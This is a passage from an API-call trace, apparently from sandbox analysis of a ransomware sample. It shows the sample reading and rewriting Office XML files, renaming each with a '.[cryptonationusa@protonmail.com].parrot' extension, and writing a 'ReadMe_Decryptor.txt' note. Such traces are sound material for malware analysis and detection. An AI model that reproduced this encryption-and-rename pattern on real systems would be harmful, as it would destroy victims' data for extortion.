(HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0200.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0200.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0200.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0200.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0200.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0200.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0200.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0200.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0200.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0200.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0200.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0200.423] WriteFile (in: hFile=0x284, lpBuffer=0x5cee60*, nNumberOfBytesToWrite=0x14f8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cee60*, lpNumberOfBytesWritten=0x18eed4*=0x14f8, lpOverlapped=0x0) returned 1 [0200.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0200.427] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0200.427] CloseHandle (hObject=0x284) returned 1 [0200.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0200.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31aa260 [0200.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0200.427] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl087.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl087.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa260 | out: hHeap=0x5b0000) returned 1 [0200.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0200.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e458 | out: hHeap=0x5b0000) returned 1 [0200.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0200.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0200.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0200.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0200.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0200.432] GetFileType (hFile=0x284) returned 0x1 [0200.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0200.443] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.444] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.445] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.445] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb532, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb532, lpOverlapped=0x0) returned 1 [0200.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0200.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0200.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0200.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0200.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0200.478] GetLastError () returned 0x0 [0200.479] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0200.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0200.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0200.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0200.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0200.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0200.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0200.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0200.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0200.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0200.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0200.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0200.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0200.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0200.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0200.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0200.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0200.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0200.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0200.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0200.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0200.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0200.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0200.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0200.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0200.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0200.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x22fa088 [0200.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0200.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0200.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0200.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0200.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0200.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0200.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0200.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0200.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0200.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0200.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0200.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0200.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0200.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0200.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0200.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31c44e0 [0200.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0200.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31c7478 [0200.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c44e0 | out: hHeap=0x5b0000) returned 1 [0200.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31ac460 [0200.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c7478 | out: hHeap=0x5b0000) returned 1 [0200.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x31d64b0 [0200.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0200.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x31e04e0 [0200.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0200.483] WriteFile (in: hFile=0x284, lpBuffer=0x31e0500*, nNumberOfBytesToWrite=0xb658, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31e0500*, lpNumberOfBytesWritten=0x18eed4*=0xb658, lpOverlapped=0x0) returned 1 [0200.489] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e04e0 | out: hHeap=0x5b0000) returned 1 [0200.489] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb64a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0200.489] CloseHandle (hObject=0x284) returned 1 [0200.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0200.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31aa260 [0200.489] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0200.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl089.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl089.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa260 | out: hHeap=0x5b0000) returned 1 [0200.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0200.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0200.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0200.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0200.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0200.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0200.493] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.493] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.495] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.495] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x124b2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x124b2, lpOverlapped=0x0) returned 1 [0200.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0200.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0200.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0200.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0200.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0200.496] GetLastError () returned 0x0 [0200.498] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0200.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0200.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0200.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0200.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0200.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0200.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0200.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0200.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0200.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0200.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0200.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0200.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0200.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0200.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0200.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0200.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0200.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0200.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0200.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0200.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0200.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0200.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0200.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0200.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0200.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0200.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x22fa088 [0200.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0200.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0200.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0200.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0200.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0200.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0200.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0200.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0200.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0200.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0200.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0200.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0200.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0200.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0200.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0200.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x320e570 [0200.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0200.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x319e458 [0200.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x320e570 | out: hHeap=0x5b0000) returned 1 [0200.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31d64b0 [0200.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e458 | out: hHeap=0x5b0000) returned 1 [0200.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x31dcf90 [0200.500] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0200.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x31ac460 [0200.500] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31dcf90 | out: hHeap=0x5b0000) returned 1 [0200.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x31d64b0 [0200.500] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0200.500] WriteFile (in: hFile=0x284, lpBuffer=0x31d64c0*, nNumberOfBytesToWrite=0x125d8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31d64c0*, lpNumberOfBytesWritten=0x18eed4*=0x125d8, lpOverlapped=0x0) returned 1 [0200.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0200.503] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x125ca, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0200.503] CloseHandle (hObject=0x284) returned 1 [0200.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0200.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31aa260 [0200.503] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0200.503] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl090.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl090.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0200.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31aa260 | out: hHeap=0x5b0000) returned 1 [0200.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0200.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ee530 | out: hHeap=0x5b0000) returned 1 [0200.506] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0200.506] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0200.506] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0200.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0200.509] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0200.509] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0200.511] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.511] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19a22, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x19a22, lpOverlapped=0x0) returned 1 [0200.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0200.513] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0200.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0200.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0200.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0200.513] GetLastError () returned 0x0 [0200.516] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0200.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0200.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0200.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0200.516] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0200.516] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0200.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0200.517] HeapFree (in: hHeap=0x5b0000, 